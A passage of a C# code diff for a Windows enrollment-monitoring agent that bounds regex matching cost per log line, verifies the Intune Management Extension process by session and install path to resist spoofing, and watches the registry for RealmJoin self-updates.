/// wall-clock fallback the gate is unreachable (a timed-out attempt always measures
/// ≥ the full timeout), so the fallback keeps the old skip-on-first-timeout behaviour.
/// </para>
/// </summary>
private void MatchLine(string filePath, string line, string messageToMatch, CmTraceLogEntry entry, PassStats stats)
{
var started = Stopwatch.GetTimestamp();
long matchCost = 0;
for (var i = 0; i < _activePatterns.Count; i++)
{
var pattern = _activePatterns[i];
if (Stopwatch.GetTimestamp() - started > LineMatchBudgetTicks)
if (matchCost > LineMatchBudget)
{
stats.BudgetBreaks++;
_budgetBreaks++;
@@ -356,22 +379,43 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
return;
}
try
Match match = null;
var retried = false;
while (true)
{
var match = pattern.Regex.Match(messageToMatch);
if (match.Success)
var costBefore = MatchCostReader();
try
{
RecordPatternHit(pattern.PatternId);
WriteMatchLog(filePath, line, pattern.PatternId);
HandlePatternMatch(pattern, match, messageToMatch, entry);
match = MatchInvoker(pattern.PatternId, pattern.Regex, messageToMatch);
matchCost += MatchCostReader() - costBefore;
break;
}
catch (RegexMatchTimeoutException)
{
var attemptCost = MatchCostReader() - costBefore;
matchCost += attemptCost;
if (!retried && attemptCost < TimeoutRetryGate)
{
retried = true;
stats.RegexTimeoutRetries++;
_regexTimeoutRetries++;
_logger.Debug($"ImeLogTracker: regex timeout for pattern '{pattern.PatternId}' consumed only {attemptCost} match-cost units (< gate {TimeoutRetryGate}) — starved thread, retrying once");
continue;
}
stats.RegexTimeouts++;
_regexTimeouts++;
if (_timeoutLoggedPatternIds.Add(pattern.PatternId))
_logger.Debug($"ImeLogTracker: regex timeout for pattern '{pattern.PatternId}' (message length {messageToMatch.Length}, attempt cost {attemptCost}) — skipped; further timeouts of this pattern are only counted");
break;
}
}
catch (RegexMatchTimeoutException)
if (match == null) continue;
if (match.Success)
{
stats.RegexTimeouts++;
_regexTimeouts++;
if (_timeoutLoggedPatternIds.Add(pattern.PatternId))
_logger.Debug($"ImeLogTracker: regex timeout for pattern '{pattern.PatternId}' (message length {messageToMatch.Length}) — skipped; further timeouts of this pattern are only counted");
RecordPatternHit(pattern.PatternId);
WriteMatchLog(filePath, line, pattern.PatternId);
HandlePatternMatch(pattern, match, messageToMatch, entry);
}
}
}
@@ -241,12 +241,55 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
// (IME writes an entry in one call) is far smaller.
internal const int HeldTailMaxBytes = 1024 * 1024;
// Aggregate matching budget per line across ALL active patterns. The 1 s per-regex
// timeout bounds one Match call; with ~80 active patterns and tenant-authored custom
// patterns (which are not anchored) a crafted line could still serialize ~80 s. After
// this budget the remaining patterns are skipped for that line and the pass summary
// says so. No genuine IME line comes anywhere near it.
private static readonly long LineMatchBudgetTicks = Stopwatch.Frequency * 2;
// Per-Match wall-clock timeout baked into every compiled Regex. .NET checks it against
// the wall clock internally, so it CANNOT be moved to CPU time — the starvation retry
// below exists precisely because of that.
internal static readonly TimeSpan RegexMatchTimeout = TimeSpan.FromSeconds(1);
// Whether per-thread CPU cycle accounting is available (probed once). When it is, the
// line budget and the timeout-retry gate are charged in cycles the matching thread
// actually executed; when not, both fall back to wall-clock Stopwatch ticks — exactly
// the pre-cycle behaviour, including "no retry ever" (see TimeoutRetryGate).
internal static readonly bool ThreadCycleTimeAvailable = Interop.ThreadNativeMethods.Probe();
// Converts "seconds of hostile CPU" into a cycle budget. Nominal frequency is unknowable
// in advance and precision is irrelevant: genuine lines cost microseconds (session
// b9f1d134: PS-AGENT-OUTPUT on its worst real line = 5.8 µs), the budget bounds seconds.
// A 1 GHz machine gets an effective 6 s budget, a 5 GHz machine 1.2 s — both fine.
private const long AssumedCyclesPerSecond = 3_000_000_000;
// Aggregate matching budget per line across ALL active patterns, charged in match COST
// (thread CPU cycles when available, wall ticks otherwise). The per-regex timeout bounds
// one Match call; with ~80 active patterns and tenant-authored custom patterns (which
// are not anchored) a crafted line could still serialize ~80 s of CPU. After this budget
// the remaining patterns are skipped for that line and the pass summary says so. No
// genuine IME line comes anywhere near it — but a starved thread no longer trips it,
// because descheduled time accrues no cycles (sessions 946ccbd6 / b9f1d134, 2026-08-30).
// Instance field as a test seam; initialised from the probed static default.
internal long LineMatchBudget =
ThreadCycleTimeAvailable ? AssumedCyclesPerSecond * 2 : Stopwatch.Frequency * 2;
// Gate for the ONE retry after a RegexMatchTimeoutException: retry only when the
// timed-out attempt consumed less than ~0.5 s of match cost — then the 1 s wall-clock
// timeout was starvation, and the retry costs what the match really costs (µs). A
// genuinely spinning pattern burns ~1 s of CPU into the attempt, exceeds the gate and
// is skipped without a second helping. In the wall-clock fallback the gate is
// unreachable by construction (a timed-out attempt always measures >= 1 s wall), so no
// retry ever fires there — starvation and spinning are indistinguishable without
// cycle accounting, and retrying a genuine spinner would double the hostile bound.
internal long TimeoutRetryGate =
ThreadCycleTimeAvailable ? AssumedCyclesPerSecond / 2 : Stopwatch.Frequency / 2;
// Monotonic per-thread match-cost counter (cycles or wall ticks; deltas taken around
// each Regex.Match on the poll thread only). Test seam.
internal Func<long> MatchCostReader = ThreadCycleTimeAvailable
? (Func<long>)Interop.ThreadNativeMethods.GetCurrentThreadCycles
: Stopwatch.GetTimestamp;
// Test seam for MatchLine: lets tests throw RegexMatchTimeoutException deterministically
// for a chosen pattern instead of constructing a genuinely catastrophic regex.
internal Func<string, Regex, string, Match> MatchInvoker =
(patternId, regex, input) => regex.Match(input);
// An unterminated tail at EOF (a physical line without '\n', or a multiline entry
// without its ']LOG]!>' close) is normally the writer mid-write. It is held back —
@@ -279,6 +322,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
private long _entriesMatched;
private long _oversizedLines;
private long _regexTimeouts;
private long _regexTimeoutRetries;
private long _budgetBreaks;
private long _heldTailCount;
private int _unanchoredPatterns;
@@ -306,6 +350,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
EntriesMatched = _entriesMatched,
OversizedLines = _oversizedLines,
RegexTimeouts = _regexTimeouts,
RegexTimeoutRetries = _regexTimeoutRetries,
BudgetBreaks = _budgetBreaks,
HeldTails = _heldTailCount,
HealthScriptResultParseFailures = HealthScriptResultParseFailures,
@@ -733,7 +778,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
var regexStr = pattern.Pattern.Replace("{GUID}", GuidPattern);
// Singleline: make '.' match newlines too — required because multiline CMTrace
// entries are reassembled with '\n' chars (e.g. DO TEL JSON in IME >= 1.101)
var regex = new Regex(regexStr, RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline, TimeSpan.FromSeconds(1));
var regex = new Regex(regexStr, RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline, RegexMatchTimeout);
var compiled = new CompiledPattern
{
@@ -1000,6 +1045,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
_entriesMatched = state.Health.EntriesMatched;
_oversizedLines = state.Health.OversizedLines;
_regexTimeouts = state.Health.RegexTimeouts;
_regexTimeoutRetries = state.Health.RegexTimeoutRetries;
_budgetBreaks = state.Health.BudgetBreaks;
_heldTailCount = state.Health.HeldTails;
HealthScriptResultParseFailures = state.Health.HealthScriptResultParseFailures;
@@ -1068,6 +1114,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
EntriesMatched = _entriesMatched,
OversizedLines = _oversizedLines,
RegexTimeouts = _regexTimeouts,
RegexTimeoutRetries = _regexTimeoutRetries,
BudgetBreaks = _budgetBreaks,
HeldTails = _heldTailCount,
HealthScriptResultParseFailures = HealthScriptResultParseFailures,
@@ -0,0 +1,172 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
{
/// <summary>
/// Identity facts about one process named <c>IntuneManagementExtension</c>, as observed by
/// <see cref="ImeProcessWatcher"/> before it decides whether to attach.
/// </summary>
public readonly struct ImeProcessCandidate
{
public ImeProcessCandidate(int pid, int sessionId, string imagePath, DateTime startTimeUtc)
{
Pid = pid;
SessionId = sessionId;
ImagePath = imagePath;
StartTimeUtc = startTimeUtc;
}
public int Pid { get; }
/// <summary>Terminal-services session; the IME service runs in session 0. -1 = unknown.</summary>
public int SessionId { get; }
/// <summary>Full image path (Win32 form), or null when it could not be resolved.</summary>
public string ImagePath { get; }
public DateTime StartTimeUtc { get; }
}
/// <summary>
/// Process-name matching is not a protected namespace: during AccountSetup / Device Preparation
/// a standard user session is live and can start any binary renamed to
/// <c>IntuneManagementExtension.exe</c> (CWE-807 — the same class as the agent instance guard).
/// A watcher that attaches to the first name match would (a) report a forged
/// <c>ime_process_exited</c> Warning into the tenant timeline and (b) stop discovering the real
/// service. This helper establishes identity by properties a standard user cannot forge:
/// the process runs in session 0 (services only) AND its image lives under the IME install
/// root (<c>%ProgramFiles(x86)%\Microsoft Intune Management Extension\</c>, admin-writable only).
/// </summary>
public static class ImeProcessIdentity
{
public const string InstallFolderName = "Microsoft Intune Management Extension";
/// <summary>
/// Install roots the IME image may live under. IME is a 32-bit service, so on x64/ARM64 it is
/// <c>%ProgramFiles(x86)%</c>; <c>%ProgramFiles%</c> is included for completeness (x86 OS,
/// or a 32-bit agent host whose ProgramFiles already resolves to the (x86) folder).
/// </summary>
public static IReadOnlyList<string> DefaultTrustedRoots()
{
var roots = new List<string>(2);
foreach (var env in new[] { "ProgramFiles(x86)", "ProgramW6432", "ProgramFiles" })
{
var basePath = Environment.GetEnvironmentVariable(env);
if (string.IsNullOrEmpty(basePath)) continue;
var root = Path.Combine(basePath, InstallFolderName);
if (!roots.Contains(root, StringComparer.OrdinalIgnoreCase))
roots.Add(root);
}
return roots;
}
/// <summary>
/// True when the candidate is trustworthy as the real IME service process: session 0 and an
/// image path directly under one of <paramref name="trustedRoots"/>. Unknown session
/// (-1) or an unresolvable image path is NOT trusted — a false negative only delays
/// attach by one discovery tick, a false positive mutes the signal for the session.
/// Path comparison is segment-aware (<c>...Extension\</c> prefix), so a sibling folder
/// like <c>Microsoft Intune Management Extension2\</c> does not pass.
/// </summary>
public static bool IsTrusted(ImeProcessCandidate candidate, IReadOnlyList<string> trustedRoots)
{
if (candidate.SessionId != 0) return false;
if (string.IsNullOrEmpty(candidate.ImagePath) || trustedRoots == null) return false;
string full;
try { full = Path.GetFullPath(candidate.ImagePath); }
catch { return false; }
// Only the exact on-disk name — a differently-cased extension or a trailing-space
// variant would still be a name match for GetProcessesByName but is not the service.
if (!string.Equals(Path.GetFileName(full), "IntuneManagementExtension.exe", StringComparison.OrdinalIgnoreCase))
return false;
foreach (var root in trustedRoots)
{
if (string.IsNullOrEmpty(root)) continue;
string rootFull;
try { rootFull = Path.GetFullPath(root).TrimEnd('\\', '/') + Path.DirectorySeparatorChar; }
catch { continue; }
if (full.StartsWith(rootFull, StringComparison.OrdinalIgnoreCase))
return true;
}
return false;
}
/// <summary>
/// Picks the candidate to attach to: the oldest trusted process. The service instance is
/// started by the SCM long before any transient tool could appear under the same trusted
/// root, and when IME restarts the old instance is already gone from the list.
/// Returns null when nothing is trusted.
/// </summary>
public static ImeProcessCandidate? SelectPreferred(IEnumerable<ImeProcessCandidate> candidates, IReadOnlyList<string> trustedRoots)
{
ImeProcessCandidate? best = null;
foreach (var c in candidates)
{
if (!IsTrusted(c, trustedRoots)) continue;
if (best == null || c.StartTimeUtc < best.Value.StartTimeUtc)
best = c;
}
return best;
}
/// <summary>
/// Reads the identity facts of a live process. Uses <c>QueryFullProcessImageName</c> so the
/// path resolves across bitness (IME is 32-bit; the agent may be 64-bit) — <c>MainModule</c>
/// throws in that case. Any failure yields an untrusted candidate (session -1 / null path),
/// never an exception.
/// </summary>
public static ImeProcessCandidate Probe(Process process)
{
int pid = -1, session = -1;
string path = null;
DateTime start = DateTime.MaxValue;
try { pid = process.Id; } catch { }
try { session = process.SessionId; } catch { }
try { start = process.StartTime.ToUniversalTime(); } catch { }
try { path = QueryImagePath(pid); } catch { }
if (path == null)
{
try { path = process.MainModule?.FileName; } catch { }
}
return new ImeProcessCandidate(pid, session, path, start);
}
private const int PROCESS_QUERY_LIMITED_INFORMATION = 0x1000;
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(int desiredAccess, bool inheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool QueryFullProcessImageName(IntPtr process, int flags, StringBuilder exeName, ref int size);
private static string QueryImagePath(int pid)
{
if (pid <= 0) return null;
var handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, pid);
if (handle == IntPtr.Zero) return null;
try
{
var sb = new StringBuilder(1024);
int size = sb.Capacity;
return QueryFullProcessImageName(handle, 0, sb, ref size) && size > 0 ? sb.ToString(0, size) : null;
}
finally
{
CloseHandle(handle);
}
}
}
}
@@ -11,9 +11,16 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
{
/// <summary>
/// Watches for IntuneManagementExtension.exe process exit.
/// Discovers the process once (with retry every 5s), then attaches Process.Exited —
/// no continuous polling after the process is found.
/// Emits ime_process_exited when the process terminates.
/// Discovers the process (retry every 5s), then attaches Process.Exited —
/// no continuous polling while attached. Emits ime_process_exited when the process terminates,
/// then re-arms discovery so an IME restart is attached again and a later crash is reported too.
/// <para>
/// Identity is established by <see cref="ImeProcessIdentity"/> (session 0 + image under the IME
/// install root), not by process name alone: a standard user can run any binary renamed to
/// IntuneManagementExtension.exe during AccountSetup, and attaching to it would forge a crash
/// Warning and mute the real signal (CWE-807). Untrusted name matches are logged once per PID
/// and never attached.
/// </para>
/// </summary>
public class ImeProcessWatcher : IDisposable
{
@@ -24,32 +31,51 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
private readonly string _tenantId;
private readonly InformationalEventPost _post;
private readonly AgentLogger _logger;
private readonly IReadOnlyList<string> _trustedRoots;
private readonly HashSet<int> _rejectedPids = new HashSet<int>();
private Timer _discoveryTimer;
private Process _imeProcess;
private bool _disposed;
private readonly object _lock = new object();
/// <summary>Test seam: enumerates the name-matched processes (default: Process.GetProcessesByName).</summary>
internal Func<Process[]> ProcessSource { get; set; } = () => Process.GetProcessesByName(ImeProcessName);
/// <summary>Test seam: reads a candidate's identity facts (default: <see cref="ImeProcessIdentity.Probe"/>).</summary>
internal Func<Process, ImeProcessCandidate> IdentityProbe { get; set; } = ImeProcessIdentity.Probe;
public ImeProcessWatcher(
string sessionId,
string tenantId,
InformationalEventPost post,
AgentLogger logger)
AgentLogger logger,
IReadOnlyList<string> trustedRoots = null)
{
_sessionId = sessionId;
_tenantId = tenantId;
_post = post ?? throw new ArgumentNullException(nameof(post));
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
_trustedRoots = trustedRoots ?? ImeProcessIdentity.DefaultTrustedRoots();
}
/// <summary>PID of the attached process, or null while discovering.</summary>
internal int? AttachedProcessId
{
get { lock (_lock) { return _imeProcess?.Id; } }
}
public void Start()
{
_logger.Info($"ImeProcessWatcher: starting (discovery every {DiscoveryIntervalSeconds}s until {ImeProcessName}.exe is found)");
_logger.Info($"ImeProcessWatcher: starting (discovery every {DiscoveryIntervalSeconds}s until {ImeProcessName}.exe is found; trusted roots: {string.Join("; ", _trustedRoots)})");
_discoveryTimer = new Timer(TryAttach, null, TimeSpan.FromSeconds(3), TimeSpan.FromSeconds(DiscoveryIntervalSeconds));
}
/// <summary>Runs one discovery pass synchronously (tests).</summary>
internal void TryAttachNow() => TryAttach(null);
/// <summary>
/// Tries to find and attach to IntuneManagementExtension.exe.
/// Tries to find and attach to the real IntuneManagementExtension.exe.
/// Stops the discovery timer once attached — switches to pure event-driven from there.
/// </summary>
private void TryAttach(object state)
@@ -60,31 +86,65 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
return;
Process[] candidates = null;
Process chosen = null;
try
{
candidates = Process.GetProcessesByName(ImeProcessName);
candidates = ProcessSource() ?? Array.Empty<Process>();
if (candidates.Length == 0)
return;
var proc = candidates[0];
for (int i = 1; i < candidates.Length; i++)
candidates[i].Dispose();
var facts = new List<ImeProcessCandidate>(candidates.Length);
foreach (var p in candidates)
{
var c = IdentityProbe(p);
if (ImeProcessIdentity.IsTrusted(c, _trustedRoots))
{
facts.Add(c);
}
else if (c.Pid > 0 && _rejectedPids.Add(c.Pid))
{
// One line per PID: a user-session process carrying the IME name is either
// a spoof attempt or a stray tool — either way not the service, never attached.
_logger.Warning($"ImeProcessWatcher: ignoring untrusted {ImeProcessName}.exe candidate (PID={c.Pid}, session={c.SessionId}, image={c.ImagePath ?? "<unresolved>"})");
}
}
proc.EnableRaisingEvents = true;
proc.Exited += OnImeExited;
_imeProcess = proc;
var preferred = ImeProcessIdentity.SelectPreferred(facts, _trustedRoots);
if (preferred == null)
return;
foreach (var p in candidates)
{
int pid = -1;
try { pid = p.Id; } catch { }
if (chosen == null && pid == preferred.Value.Pid)
chosen = p;
else
p.Dispose();
}
if (chosen == null)
return;
chosen.EnableRaisingEvents = true;
chosen.Exited += OnImeExited;
_imeProcess = chosen;
// Suspend discovery timer — now event-driven
_discoveryTimer?.Change(Timeout.Infinite, Timeout.Infinite);
_logger.Info($"ImeProcessWatcher: attached to {ImeProcessName}.exe (PID={proc.Id})");
_logger.Info($"ImeProcessWatcher: attached to {ImeProcessName}.exe (PID={chosen.Id}, session={preferred.Value.SessionId}, image={preferred.Value.ImagePath})");
// The process may have exited between the probe and the subscription — Exited
// fires for an already-exited process only if EnableRaisingEvents was set before
// exit; check explicitly so a race does not leave the watcher attached to a corpse.
if (chosen.HasExited)
ThreadPool.QueueUserWorkItem(_ => OnImeExited(chosen, EventArgs.Empty));
}
catch (Exception ex)
{
_logger.Debug($"ImeProcessWatcher: could not attach to {ImeProcessName}.exe: {ex.Message}");
// Dispose any leftover handles from the failed attempt
if (candidates != null)
if (_imeProcess == null && candidates != null)
foreach (var p in candidates)
try { p.Dispose(); } catch { }
}
@@ -96,6 +156,17 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
if (!(sender is Process proc))
return;
// Detach + re-arm discovery. Only the currently attached process counts — a late
// Exited from a process already replaced or disposed is ignored (no duplicate event).
lock (_lock)
{
if (_disposed || !ReferenceEquals(proc, _imeProcess))
return;
try { proc.Exited -= OnImeExited; } catch { }
_imeProcess = null;
_discoveryTimer?.Change(TimeSpan.FromSeconds(DiscoveryIntervalSeconds), TimeSpan.FromSeconds(DiscoveryIntervalSeconds));
}
int pid = -1;
int exitCode = -1;
double uptimeSeconds = 0;
@@ -103,8 +174,9 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
try { pid = proc.Id; } catch { }
try { exitCode = proc.ExitCode; } catch { }
try { uptimeSeconds = (proc.ExitTime - proc.StartTime).TotalSeconds; } catch { }
try { proc.Dispose(); } catch { }
_logger.Info($"ImeProcessWatcher: {ImeProcessName}.exe exited (PID={pid}, exit={exitCode}, uptime={uptimeSeconds:F0}s)");
_logger.Info($"ImeProcessWatcher: {ImeProcessName}.exe exited (PID={pid}, exit={exitCode}, uptime={uptimeSeconds:F0}s) — discovery re-armed");
_post.Emit(new EnrollmentEvent
{
@@ -21,6 +21,15 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
public long EntriesMatched { get; set; }
public long OversizedLines { get; set; }
public long RegexTimeouts { get; set; }
/// <summary>
/// Regex timeouts absorbed by the one gated retry: the timed-out attempt consumed
/// almost no CPU (a starved thread, not a spinning pattern) and the retry recovered
/// the match. Expected nonzero on CPU-saturated VMs; NOT skipped work — only a
/// timeout that survives (or is denied) the retry counts into <see cref="RegexTimeouts"/>.
/// </summary>
public long RegexTimeoutRetries { get; set; }
public long BudgetBreaks { get; set; }
public long HeldTails { get; set; }
public int HealthScriptResultParseFailures { get; set; }
@@ -159,6 +159,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.Ime
public long EntriesMatched { get; set; }
public long OversizedLines { get; set; }
public long RegexTimeouts { get; set; }
public long RegexTimeoutRetries { get; set; }
public long BudgetBreaks { get; set; }
public long HeldTails { get; set; }
public int HealthScriptResultParseFailures { get; set; }
@@ -102,6 +102,49 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.SystemSignals
/// <summary>Defensive fallback for legacy 32-bit installs.</summary>
public const string RealmJoinExePathX86 = @"C:\Program Files (x86)\RealmJoin\RealmJoin.exe";
/// <summary>
/// Always-existing parent of the RJ Add/Remove-Programs entry — the appearance-watch
/// anchor when <see cref="UninstallRealmJoinPath"/> does not exist yet (the tray creates
/// the entry on its first start, after the service key is already present).
/// </summary>
public const string UninstallRootPath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall";
/// <summary>Sub-key name of the RJ entry under <see cref="UninstallRootPath"/>.</summary>
public const string UninstallRealmJoinKeyName = "RealmJoin";
/// <summary>
/// RJ's Add/Remove-Programs entry. The in-app updater (<c>RealmJoin.Core.AppUpdater</c>)
/// rewrites this key (<c>DisplayVersion</c>, <c>InstallDate</c>) in the same second it
/// swaps <c>RealmJoin.exe</c> — the only registry write that reflects an RJ self-update.
/// Neither <c>SOFTWARE\RealmJoin</c> nor <c>Services\realmjoin\Parameters</c> carry a version.
/// </summary>
public const string UninstallRealmJoinPath = UninstallRootPath + @"\" + UninstallRealmJoinKeyName;
/// <summary>Bare version string under <see cref="UninstallRealmJoinPath"/>, e.g. <c>4.21.18</c> (no channel tag).</summary>
public const string DisplayVersionValueName = "DisplayVersion";
/// <summary>
/// Best-effort read of <c>DisplayVersion</c> under <see cref="UninstallRealmJoinPath"/>.
/// Fallback for the auto-update watcher when <c>RealmJoin.exe</c> is momentarily locked by
/// the updater; carries no release channel. <c>null</c> when absent or unreadable.
/// </summary>
public static string? TryReadUninstallDisplayVersion()
{
try
{
using (var baseKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64))
using (var key = baseKey.OpenSubKey(UninstallRealmJoinPath, writable: false))
{
var raw = key?.GetValue(DisplayVersionValueName) as string;
return string.IsNullOrWhiteSpace(raw) ? null : raw!.Trim();
}
}
catch
{
return null;
}
}
/// <summary>
/// Release-channel name reported when the version string carries no SemVer prerelease
/// tag. Per the RJ developer, only beta/canary builds are tagged — untagged == stable.
@@ -35,6 +35,27 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.SystemSignals
}
}
/// <summary>
/// RJ replaced its own binary after detection (tray <c>AppUpdater</c> "New version found …,
/// update required" on first start). <see cref="PreviousVersion"/> is the version reported
/// on <see cref="RealmJoinDetectedEventArgs"/> (or the last auto-update), <see cref="NewVersion"/>
/// the version now installed. Observability-only — the deployment lifecycle is unaffected.
/// </summary>
public sealed class RealmJoinAutoUpdateDetectedEventArgs : EventArgs
{
public string PreviousVersion { get; }
public string NewVersion { get; }
/// <summary>Channel of the new build; <c>null</c> when only the registry fallback was readable.</summary>
public string? ReleaseChannel { get; }
public RealmJoinAutoUpdateDetectedEventArgs(string previousVersion, string newVersion, string? releaseChannel)
{
PreviousVersion = previousVersion;
NewVersion = newVersion;
ReleaseChannel = releaseChannel;
}
}
public sealed class RealmJoinResolvedEventArgs : EventArgs
{
public int DeploymentPhase { get; }
@@ -104,13 +125,34 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.SystemSignals
internal delegate IReadOnlyList<string> EnumeratePackageIdsDelegate(RegistryHive hive, string packagesPath);
internal delegate bool TryReadPackageDelegate(RegistryHive hive, string packagesPath, string packageId, out RealmJoinPackageSnapshot snapshot);
internal delegate bool KeyExistsDelegate(RegistryHive hive, string subPath);
internal delegate RealmJoinVersionInfo ReadVersionInfoDelegate();
internal delegate string? ReadUninstallDisplayVersionDelegate();
/// <summary>
/// Debounce for the Uninstall-key watcher. Longer than <see cref="DebounceMilliseconds"/>:
/// the updater rewrites several values and swaps <c>RealmJoin.exe</c> in the same window,
/// so the version re-read should land after the binary is back in place.
/// </summary>
internal const int AutoUpdateDebounceMilliseconds = 2000;
private readonly AgentLogger _logger;
private readonly EnumeratePackageIdsDelegate _enumeratePackageIds;
private readonly TryReadPackageDelegate _tryReadPackage;
private readonly KeyExistsDelegate _keyExists;
private readonly ReadVersionInfoDelegate _readVersionInfo;
private readonly ReadUninstallDisplayVersionDelegate _readUninstallDisplayVersion;
private readonly object _stateLock = new object();
// Auto-update stage (armed once Detected fired, held until Stop).
private RegistryWatcher? _uninstallAppearanceWatcher;
private RegistryWatcher? _uninstallWatcher;
private Timer? _uninstallDebounce;
// Version baseline the next Uninstall-key change is compared against. Seeded from the
// Detected read; null when the binary was unreadable then — the first successful
// re-read seeds it silently instead of reporting a phantom update.
private string? _baselineVersion;
private string? _baselineChannel;
// Stage-1 parent-watchers (disposed on appearance).
private RegistryWatcher? _servicesAppearanceWatcher;
private RegistryWatcher? _machineSoftwareAppearanceWatcher;
@@ -149,6 +191,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.SystemSignals
public event EventHandler<RealmJoinPhaseChangedEventArgs>? RealmJoinPhaseChanged;
public event EventHandler<RealmJoinPackageEventArgs>? RealmJoinPackageStarted;
public event EventHandler<RealmJoinPackageEventArgs>? RealmJoinPackageCompleted;
public event EventHandler<RealmJoinAutoUpdateDetectedEventArgs>? RealmJoinAutoUpdateDetected;
public RealmJoinWatcher(AgentLogger logger)
: this(logger, RealmJoinInfo.EnumeratePackageIds, RealmJoinInfo.TryReadPackage, KeyExistsViaRegistry)
@@ -159,12 +202,16 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.SystemSignals
AgentLogger logger,
EnumeratePackageIdsDelegate enumeratePackageIds,
TryReadPackageDelegate tryReadPackage,
KeyExistsDelegate keyExists)
KeyExistsDelegate keyExists,
ReadVersionInfoDelegate? readVersionInfo = null,
ReadUninstallDisplayVersionDelegate? readUninstallDisplayVersion = null)
{
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
_enumeratePackageIds = enumeratePackageIds ?? throw new ArgumentNullException(nameof(enumeratePackageIds));
_tryReadPackage = tryReadPackage ?? throw new ArgumentNullException(nameof(tryReadPackage));
_keyExists = keyExists ?? throw new ArgumentNullException(nameof(keyExists));
_readVersionInfo = readVersionInfo ?? RealmJoinInfo.TryReadRealmJoinVersionInfo;
_readUninstallDisplayVersion = readUninstallDisplayVersion ?? RealmJoinInfo.TryReadUninstallDisplayVersion;
}
public void Start()
@@ -224,14 +271,17 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.SystemSignals
DisposeAndNull(ref _servicesAppearanceWatcher);
DisposeAndNull(ref _machineSoftwareAppearanceWatcher);
DisposeAndNull(ref _userSoftwareAppearanceWatcher);
DisposeAndNull(ref _uninstallAppearanceWatcher);
_serviceRealmjoinDebounce?.Dispose(); _serviceRealmjoinDebounce = null;
_machineRealmJoinDebounce?.Dispose(); _machineRealmJoinDebounce = null;
_userRealmJoinDebounce?.Dispose(); _userRealmJoinDebounce = null;
_uninstallDebounce?.Dispose(); _uninstallDebounce = null;
DisposeAndNull(ref _serviceRealmjoinWatcher);
DisposeAndNull(ref _machineRealmJoinWatcher);
DisposeAndNull(ref _userRealmJoinWatcher);
DisposeAndNull(ref _uninstallWatcher);
}
_logger.Info($"RealmJoinWatcher: stopped ({reason})");
}
@@ -555,13 +605,20 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.SystemSignals
if (fireDetected)
{
var initial = phase ?? 0;
// Read RJ version + release channel best-effort (fail-soft to null) ONLY when
// the Detected event actually fires — single read per session lifetime keeps
// any potential file-system cost to a single hit.
var versionInfo = RealmJoinInfo.TryReadRealmJoinVersionInfo();
// Read RJ version + release channel best-effort (fail-soft to null) when the
// Detected event fires. The result seeds the auto-update baseline; later reads
// only happen when the Uninstall key changes (see CheckAutoUpdate).
var versionInfo = _readVersionInfo();
lock (_stateLock)
{
_baselineVersion = versionInfo.ProductVersion;
_baselineChannel = versionInfo.ReleaseChannel;
}
_logger.Info($"RealmJoinWatcher: RJ detected (phase={initial}, productVersion={versionInfo.ProductVersion ?? "<unknown>"}, releaseChannel={versionInfo.ReleaseChannel ?? "<unknown>"})");
try { RealmJoinDetected?.Invoke(this, new RealmJoinDetectedEventArgs(initial, versionInfo.ProductVersion, versionInfo.ReleaseChannel)); }
catch (Exception ex) { _logger.Error("RealmJoinWatcher: RealmJoinDetected handler threw", ex); }
EnsureUninstallStage();
}
if (firePhaseChange && prevPhase.HasValue && phase.HasValue)
@@ -593,6 +650,115 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Enrollment.SystemSignals
}
}
// ---- auto-update stage (Uninstall\RealmJoin) ---------------------------------------
/// <summary>
/// Arm the RJ self-update observer. The tray's <c>AppUpdater</c> rewrites
/// <see cref="RealmJoinInfo.UninstallRealmJoinPath"/> whenever it swaps the binary — on a
/// first start with a stale MSI payload this happens minutes after Detected, so the
/// version reported on <see cref="RealmJoinDetected"/> would otherwise be wrong for the
/// rest of the session. Same appearance-then-subtree pattern as the other stages; the
/// entry is created by the tray on first start, i.e. it may not exist at Detected time.
/// </summary>
private void EnsureUninstallStage()
{
if (_disposed) return;
if (_keyExists(RegistryHive.LocalMachine, RealmJoinInfo.UninstallRealmJoinPath))
{
